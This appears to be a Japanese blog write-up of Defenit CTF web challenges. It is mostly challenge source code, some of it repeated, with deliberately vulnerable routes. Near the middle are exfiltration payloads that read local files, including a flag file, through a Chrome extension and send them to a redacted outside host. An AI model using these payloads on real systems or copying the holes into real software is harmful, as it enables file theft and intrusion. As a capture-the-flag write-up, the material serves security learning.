st98 の日記帳

const express = require('express');
const cookieParser = require('cookie-parser');
const { MongoClient, ObjectID } = require('mongodb');
const { FLAG, MONGO_URL } = require('./config');

const app = express();

app.set('view engine', 'html');
app.engine('html', require('ejs').renderFile);

app.use(cookieParser('🐈' + '🐇'));
app.use(express.urlencoded());


app.get('/', (req, res) => {
    res.render('index', { session: req.signedCookies.user });
});

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    let { username } = req.body;

    res.cookie('user', username, { signed: true });
    res.redirect('/');
});

app.use((req, res, next) => {
    if (!req.signedCookies.user) {
        res.redirect('/login');
    } else {
        next();
    }
});

app.get('/logout', (req, res) => {
    res.clearCookie('user');
    res.redirect('/');
});

app.get('/write', (req, res) => {
    res.render('write');
});

app.post('/write', (req, res) => {

    const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    const author = req.signedCookies.user;

    const { content } = req.body;

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection
            .insertOne({
                author,
                content
            })
            .then((result) => {
                res.redirect(`/view?id=${result.ops[0]._id}`)
            }
            );

        client.close();

    });

});

app.get('/view', (req, res) => {

    const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    const author = req.signedCookies.user;
    const { id } = req.query;

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        try {
            collection
                .findOne({
                    _id: ObjectID(id)
                })
                .then((result) => {

                    if (result && typeof result.content === 'string' && author === result.author) res.render('view', { content: result.content })
                    else res.end('Invalid or not allowed');

                }
                );
        } catch (e) { res.end('Invalid request') } finally {
            client.close();
        }


    });
});

app.get('/posts', (req, res) => {

    let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    let author = req.signedCookies.user;

    if (typeof author === 'string') {
        author = { author };
    }

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection
            .find(author)
            .toArray()
            .then((posts) => {
                res.render('posts', { posts })
            }
            );

        client.close();

    });

});

app.get('/flag', (req, res) => {

    let { favoriteNumber } = req.query;
    favoriteNumber = ~~favoriteNumber;

    if (!favoriteNumber) {
        res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> 😊');
    } else {

        const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });

        client.connect(function (err) {

            if (err) throw err;

            const db = client.db('fortuneCookie');
            const collection = db.collection('posts');

            collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
                .then(result => {
                    if (favoriteNumber > 0x1337 && result) res.end(FLAG);
                    else res.end('Number not matches. Next chance, please!')
                });

            client.close();

        });
    }
})

app.listen(8080, '0.0.0.0');

app.get('/flag', (req, res) => {

    let { favoriteNumber } = req.query;
    favoriteNumber = ~~favoriteNumber;

    if (!favoriteNumber) {
        res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> 😊');
    } else {

        const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });

        client.connect(function (err) {

            if (err) throw err;

            const db = client.db('fortuneCookie');
            const collection = db.collection('posts');

            collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
                .then(result => {
                    if (favoriteNumber > 0x1337 && result) res.end(FLAG);
                    else res.end('Number not matches. Next chance, please!')
                });

            client.close();

        });
    }
})

app.get('/posts', (req, res) => {

    let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    let author = req.signedCookies.user;

    if (typeof author === 'string') {
        author = { author };
    }

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection
            .find(author)
            .toArray()
            .then((posts) => {
                res.render('posts', { posts })
            }
            );

        client.close();

    });

});

app.post('/login', (req, res) => {
    let { username } = req.body;

    res.cookie('user', username, { signed: true });
    res.redirect('/');
});

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('jsonwebtoken');
const mysql = require('mysql');
const path = require('path');
const crypto = require('crypto');
const webdriver = require("selenium-webdriver");
const chrome = require("selenium-webdriver/chrome");

const encodeExt = file => {
    const stream = require('fs').readFileSync(path.resolve(file));
    return Buffer.from(stream).toString('base64');
};

const options = new chrome.Options();

options.addExtensions(encodeExt('./SuperHighlighter.crx'));

var capabilities = webdriver.Capabilities.chrome();

let driver;

async function reloadDriver() {

    if (driver) {
        driver.quit();
    }

    driver = new webdriver.Builder()
        .usingServer('http://selenium:4444/wd/hub/')
        .withCapabilities(capabilities)
        .setChromeOptions(options)
        .build();

    await driver.get(`http://highlighter.ctf.defenit.kr/`);
    await driver.manage().addCookie({name:'session', value: jwt.sign(JSON.stringify({ id: -1, username: 'this-is-the-super-admin-name' }), config.SECRET)});

}

reloadDriver();

setInterval(() => {
    reloadDriver();
}, 10000);

const config = require('./config');

const app = express();
const conn = mysql.createConnection(config.DB_CONFIG);

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.engine('html', require('ejs').renderFile);

app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());

app.use((req, res, next) => {

    let token = req.cookies['session'];
    req.session = null;

    if (typeof token === 'string' && token.length > 0) {

        try {

            let session = jwt.verify(token, config.SECRET);
            req.session = session;

            next();

        } catch {
            res.clearCookie('session');
            res.redirect('/login');
        }

    } else {

        req.session = null;
        next();

    }

});

app.get('/', (req, res) => {
    res.render('index', { session: req.session });
});

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {

    let { username, password } = req.body;

    if (typeof username === 'string' && username && typeof password === 'string' && password && username.length <= 16 && username.length >= 5 && password.length < 20 && password.length >= 5) {
        conn.query(
            'select * from users where username = ? and password = ?',
            [username, crypto.createHash('sha256').update(password).digest('hex')],
            (err, result) => {
                if (err) throw err;
                if (result.length === 0) {
                    res.end('Login failed');
                } else {
                    let token = jwt.sign(JSON.stringify({ id: result[0].id, username: result[0].username }), config.SECRET);
                    res.cookie('session', token);
                    res.redirect('/');
                }
            }
        );
    } else {
        res.end('Invalid Input')
    }
})

app.get('/register', (req, res) => {
    res.render('register');
});

app.post('/register', (req, res) => {

    let { username, password } = req.body;

    if (typeof username === 'string' && username && typeof password === 'string' && password && username.length <= 16 && username.length >= 5 && password.length < 20 && password.length >= 5) {

        conn.query(
            'select * from users where username = ?',
            [username],
            (err, result) => {
                if (err) throw err;
                if (result.length === 0) {
                    conn.query(
                        'insert into users values (NULL, ?, ?)',
                        [username, crypto.createHash('sha256').update(password).digest('hex')],
                        (err, result) => {
                            if (err) throw err;
                            res.redirect('/login');
                        }
                    );
                } else {
                    res.end('Username already exist.');
                }
            }
        );

    } else {
        res.end('Invalid Input');
    }

});

app.get('/logout', (req, res) => {
    res.clearCookie('session');
    res.redirect('/');
})

app.use((req, res, next) => {
    if (res.session === null) res.redirect('/login');
    else next();
});

app.get('/list', (req, res) => {
    conn.query(
        'select * from board where user_id = ?',
        [req.session.id],
        (err, result) => {
            if (err) throw err;
            res.render('list', { posts: result })
        }
    )
});

app.get('/read', (req, res) => {

    let { id } = req.query;

    conn.query(
        'select * from board where id = ?',
        [id],
        (err, result) => {
            if (err) throw err;


            if (result.length === 0) {
                res.end('Not exist')
            } else if (req.session && result[0].user_id ===  req.session.id || req.session && req.session.username === 'this-is-the-super-admin-name') {
                res.render('read', { content: result[0].content });
            } else {
                res.end('No permission');
            }
        }
    )
});

app.get('/write', (req, res) => {
    res.render('write');
});

app.post('/write', (req, res) => {

    let { content } = req.body;

    conn.query(
        'insert into board values (NULL, ?, ?)',
        [req.session.id, content],
        (err, result) => {
            if (err) throw err;
            res.redirect(`/read?id=${result.insertId}`);
        }
    )
});

app.get('/report', (req, res) => {
    res.render('report');
});

let hist = {};

app.post('/report', (req, res) => {
    let { url } = req.body;
    if (typeof url === 'string' && /^http:\/\/highlighter\.ctf\.defenit\.kr\//.test(url)) {
        (async () => {
            if (hist[req.connection.remoteAddress] && Date.now() - hist[req.connection.remoteAddress] < 30000) {
                res.end('Try after 30 seconds');
            } else {
                console.log(url);
                await driver.get(url);
                await res.end('Your request has been processed');
            }
            hist[req.connection.remoteAddress] = Date.now();
        })();
    } else {
        res.end('Invalid URL');
    }
});

app.listen(8080);

{
  "name": "Super Highlighter",
  "version": "1.0.0",
  "manifest_version": 2,
  "description": "Highlight your words using keyword or index!",
  "homepage_url": "https://ctf.defenit.kr",
  "permissions": [
    "http://*/*",
    "https://*/*",
    "file://*/*"
  ],
  "background": {
    "scripts": ["js/background.js"],
    "persistent": true
  },
  "content_security_policy": "script-src 'self' https://accounts.google.com 'unsafe-eval'; object-src 'self'"
}

var { pathname, host } = window.location;

if (pathname === '/read' && host === 'highlighter.ctf.defenit.kr') {

    let post = document.getElementById('content');
    let keyword = location.hash.substr(1);

    if (post && post.innerText && keyword) {
        chrome.runtime.sendMessage(
            { content: post.innerText, keyword },
            function (response) {
                post.innerHTML = response;
            }   
        );
    }

}

︙
  }), chrome.runtime.onMessage.addListener(function(e, t, n) {
      var r = e.keyword,
          i = e.content;
      if (!r || !i) return void n("Something wrong.");
      try {
          var s = l(r).body[0].expression;
          r = (0, u.default)(s)
      } catch (e) {}
      var a = i.split(/\W/),
          h = "";
      console.log(a);
      for (var p in a) "string" == typeof r && a[p] == r ? h += '<span style="color: red;">' + r + "</span> " : h += "number" == typeof r && p == r ? '<span style="color: red;">' + a[p] + "</span> " : "<span>" + a[p] + "</span> ";
      h = c.default.sanitize(h), h = o.default.htmlPrefilter(h), document.body.innerHTML = "", document.write(h), h = document.body.innerHTML, n(h.trim())
  })
}, function(e, t, n) {
︙

chrome.runtime.onMessage.addListener(function(e, t, n) {
        var r = e.keyword,
            i = e.content;
        if (!r || !i) return void n("Something wrong.");
        try {
            var s = l(r).body[0].expression;
            r = (0, u.default)(s)
        } catch (e) {}
        var a = i.split(/\W/),
            h = "";
        console.log(a);

        for (var p in a) {
            if ("string" == typeof r && a[p] == r) {
                  h += '<span style="color: red;">' + r + "</span> "
            } else { 
                if ("number" == typeof r && p == r) {
                    h += '<span style="color: red;">' + a[p] + "</span> "
                } else {
                    h += "<span>" + a[p] + "</span> ";
                }
            }
        }

        h = c.default.sanitize(h);
        h = o.default.htmlPrefilter(h);
        document.body.innerHTML = "";
        document.write(h);
        h = document.body.innerHTML;

        n(h.trim())
    })

            function r(e, t, n) {
                var r = null,
                    i = function(e, t) {
                        n && n(e, t), r && r.visit(e, t)
                    },
                    u = "function" == typeof n ? i : null,
                    s = !1;
                if (t) {
                    s = "boolean" == typeof t.comment && t.comment;
                    var l = "boolean" == typeof t.attachComment && t.attachComment;
                    (s || l) && (r = new o.CommentHandler, r.attach = l, t.comment = !0, u = i)
                }
                var h = !1;
                t && "string" == typeof t.sourceType && (h = "module" === t.sourceType);
                var p;
                p = t && "boolean" == typeof t.jsx && t.jsx ? new a.JSXParser(e, t, u) : new c.Parser(e, t, u);
                var d = h ? p.parseModule() : p.parseScript(),
                    f = d;
                return s && r && (f.comments = r.comments), p.config.tokens && (f.tokens = p.tokens), p.config.tolerant && (f.errors = p.errorHandler.errors), f
            }

function(e, t) {
        t || (t = {});
        var n = {},
            i = function e(i, u) {
                if ("Literal" === i.type) return i.value;
                if ("UnaryExpression" === i.type) {
                    var s = e(i.argument);
                    return "+" === i.operator ? +s : "-" === i.operator ? -s : "~" === i.operator ? ~s : "!" === i.operator ? !s : n
                }
                if ("ArrayExpression" === i.type) {
                    for (var o = [], a = 0, c = i.elements.length; a < c; a++) {
                        var l = e(i.elements[a]);
                        if (l === n) return n;
                        o.push(l)
                    }
                    return o
                }
                if ("ObjectExpression" === i.type) {
                    for (var h = {}, a = 0; a < i.properties.length; a++) {
                        var p = i.properties[a],
                            d = null === p.value ? p.value : e(p.value);
                        if (d === n) return n;
                        h[p.key.value || p.key.name] = d
                    }
                    return h
                }
                if ("BinaryExpression" === i.type || "LogicalExpression" === i.type) {
                    var c = e(i.left);
                    if (c === n) return n;
                    var f = e(i.right);
                    if (f === n) return n;
                    var D = i.operator;
                    return "==" === D ? c == f : "===" === D ? c === f : "!=" === D ? c != f : "!==" === D ? c !== f : "+" === D ? c + f : "-" === D ? c - f : "*" === D ? c * f : "/" === D ? c / f : "%" === D ? c % f : "<" === D ? c < f : "<=" === D ? c <= f : ">" === D ? c > f : ">=" === D ? c >= f : "|" === D ? c | f : "&" === D ? c & f : "^" === D ? c ^ f : "&&" === D ? c && f : "||" === D ? c || f : n
                }
                if ("Identifier" === i.type) return {}.hasOwnProperty.call(t, i.name) ? t[i.name] : n;
                if ("ThisExpression" === i.type) return {}.hasOwnProperty.call(t, "this") ? t.this : n;
                if ("CallExpression" === i.type) {
                    var m = e(i.callee);
                    if (m === n) return n;
                    if ("function" != typeof m) return n;
                    var g = i.callee.object ? e(i.callee.object) : n;
                    g === n && (g = null);
                    for (var A = [], a = 0, c = i.arguments.length; a < c; a++) {
                        var l = e(i.arguments[a]);
                        if (l === n) return n;
                        A.push(l)
                    }
                    return m.apply(g, A)
                }
                if ("MemberExpression" === i.type) {
                    var h = e(i.object);
                    if (h === n || "function" == typeof h) {
                        console.log('FAILED: "function" == typeof h', i.object);
                        return n;
                    }
                    if ("Identifier" === i.property.type) return h[i.property.name];
                    var p = e(i.property);
                    return p === n ? n : h[p]
                }
                if ("ConditionalExpression" === i.type) {
                    var s = e(i.test);
                    return s === n ? n : e(s ? i.consequent : i.alternate)
                }
                if ("ExpressionStatement" === i.type) {
                    var s = e(i.expression);
                    return s === n ? n : s
                }
                if ("ReturnStatement" === i.type) return e(i.argument);
                if ("FunctionExpression" === i.type) {
                    var C = i.body.body,
                        E = {};
                    Object.keys(t).forEach(function(e) {
                        E[e] = t[e]
                    }), i.params.forEach(function(e) {
                        "Identifier" == e.type && (t[e.name] = null)
                    });
                    for (var a in C)
                        if (e(C[a]) === n) return n;
                    t = E;
                    var y = Object.keys(t),
                        x = y.map(function(e) {
                            return t[e]
                        });
                    return Function(y.join(", "), "return " + r(i)).apply(null, x)
                }
                if ("TemplateLiteral" === i.type) {
                    for (var F = "", a = 0; a < i.expressions.length; a++) F += e(i.quasis[a]), F += e(i.expressions[a]);
                    return F += e(i.quasis[a])
                }
                if ("TaggedTemplateExpression" === i.type) {
                    var v = e(i.tag),
                        S = i.quasi,
                        B = S.quasis.map(e),
                        b = S.expressions.map(e);
                    return v.apply(null, [B].concat(b))
                }
                return "TemplateElement" === i.type ? i.value.cooked : n
            }(e);

        return i === n ? void 0 : i
    }

var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///');
xhr.onload = function() {
  var fs = xhr.responseText.match(/addRow\("(.+?)"/g).map(x => x.slice(8, -1));
  (new Image).src = 'https://(省略)?' + encodeURIComponent(fs);
};
xhr.send();

var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///6339e914b333b35d902a2dfd2c415656/flag');
xhr.onload = function() {
  (new Image).src = 'https://(省略)?' + encodeURIComponent(xhr.responseText);
};
xhr.send();

const express = require('express');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();

const SALT = crypto.randomBytes(64).toString('hex');
const FLAG = require('./config').FLAG;

app.set('view engine', 'html');
app.engine('html', require('hbs').__express);

if (!fs.existsSync(path.join('views', 'temp'))) {
    fs.mkdirSync(path.join('views', 'temp'));
}

app.use(express.urlencoded());
app.use((req, res, next) => {
    const { content } = req.body;

    req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
    req.saveDir = path.join('views', 'temp', req.userDir);

    if (!fs.existsSync(req.saveDir)) {
        fs.mkdirSync(req.saveDir);
    }

    if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
        res.end('Request blocked');
        return;
    }

    next();
});

app.get('/', (req, res) => {
    const { p } = req.query;
    if (!p) res.redirect('/?p=index');
    else res.render(p, { FLAG, 'apple': 'mint' });
});

app.post('/', (req, res) => {
    const { body: { content }, userDir, saveDir } = req;
    const filename = crypto.randomBytes(8).toString('hex');

    let p = path.join('temp', userDir, filename)
    
    fs.writeFile(`${path.join(saveDir, filename)}.html`, content, () => {
        res.redirect(`/?p=${p}`);
    })
});

app.listen(8080, '0.0.0.0');

app.use((req, res, next) => {
    const { content } = req.body;

    req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
    req.saveDir = path.join('views', 'temp', req.userDir);

    if (!fs.existsSync(req.saveDir)) {
        fs.mkdirSync(req.saveDir);
    }

    if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
        res.end('Request blocked');
        return;
    }

    next();
});

const express = require('express');
const child_process = require('child_process');
const fs = require('fs');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const assert = require('assert');
const hbs = require('hbs');
const app = express();

const FLAG = fs.readFileSync('./flag').toString();
hbs.registerPartial('FLAG', FLAG);

app.engine('html', hbs.__express);
app.set('view engine', 'html');

var shared = 'ADULT-JS';

app.use(bodyParser.urlencoded({extended: true}));
app.use(bodyParser.json());
app.use(cookieParser(shared))

app.get('/', (req, res) => {
    res.end('Works! :)');
});


app.get('/test', (req, res) => {
    res.render(req.query.p);
});

app.get("/b11a993461d7b578075b91b7a83716e444f5b788f6ab83fcaf8857043e501d59", (req, res) => {
	try {
	b45428ff5 = !req.secure.hd0ea00d1;
	b6189c152 = req.param("h3c6c74df", "b8a2eef98");
	cae79643d = ~~req.fresh.a49a34ba2;
	d1d440033 = !req.baseUrl.h46ca212b;
	f0f69a82a = !req.secure.g780f9a42;
	f423227f7 = req.secure["d367a1d90"];
	g4c7397ed = req.ip["hafac4772"];
	i3298e200 = req.param("e8cb0be9a", {});
	if05cd1f1 = req.baseUrl.fddd83bc9;

	a702dfcdc = Buffer.alloc(12);
	hb1f346ce = [[[[{bb35fa022: this, cdac57734: shared}]]]];
	ec48da640 = {ce69393c0: Function, b46cf2359: 64};
	ha2245af6 = 'fe8e415e1';
	c4ddf69c7 = 'cc89e5fbe';
	c0bf04e03 = 'f0efaf949';
	b7234b3f9 = {e34591e6e: shared, d58a8266f: this};
	b0149a05b = {ffa4bb6dd: this, ad20f2fc7: shared};
	g4c7397ed = g4c7397ed ** g4c7397ed
	f423227f7 = f423227f7.ic8e1e4f3
	cae79643d = cae79643d["f41b2a31e"]
	b45428ff5 = b45428ff5 ** b45428ff5
	f0f69a82a = f0f69a82a ** f0f69a82a

    b7234b3f9 = /ib9dc14a2/.source + '//' + JSON.stringify(f0f69a82a);

	res.attachment(c4ddf69c7);
} catch {
res.end('Error');
}
});

app.get("/c75415dac86b0b931231fc9675ae226e885516f3ae720dad3e80bf94ede31fdf", (req, res) => {
	try {
	d424fe96a = ~~req.fresh.b9250e286;
	d6d6fd5f1 = req.ips.bb9a04250;
	e9edec980 = [req.fresh.h29492c50];
	gcffa031a = req.method["i3a6636af"];
	i07077440 = [req.secure.i5166ee06];
	i87c3fb5c = ~~req.body.f559c17df;
	ic4ad5122 = [req.query.c3548f82a];

	a9c3644ba = [{ea329c1e1: this, i8fe25b56: shared}];
	gf2e454ca = Buffer.allocUnsafe(37);
	c25ef6170 = [[[[{g20718c8c: this, if6889983: shared}]]]];
	d6467023b = {b80ad6db7: this, a7322ce3a: shared};
	e166a7b05 = Buffer.alloc(81);
	a2d568e1b = {af7c27387: this, g8a1e6ea1: shared};
	gec2b8970 = {a6b50b643: shared, h0cf27b37: this};
	eb22a9839 = {c9f8f7a1f: Function, c4980e640: 67};
	i07077440 = i07077440 ** i07077440
	d424fe96a = d424fe96a["da99feee0"]
	d6d6fd5f1 = d6d6fd5f1 ** d6d6fd5f1
	e9edec980 = e9edec980["i653d7723"]

    eb22a9839 = fs.readFileSync(e9edec980);

	res.jsonp(gf2e454ca);
} catch {
res.end('Error');
}
});

︙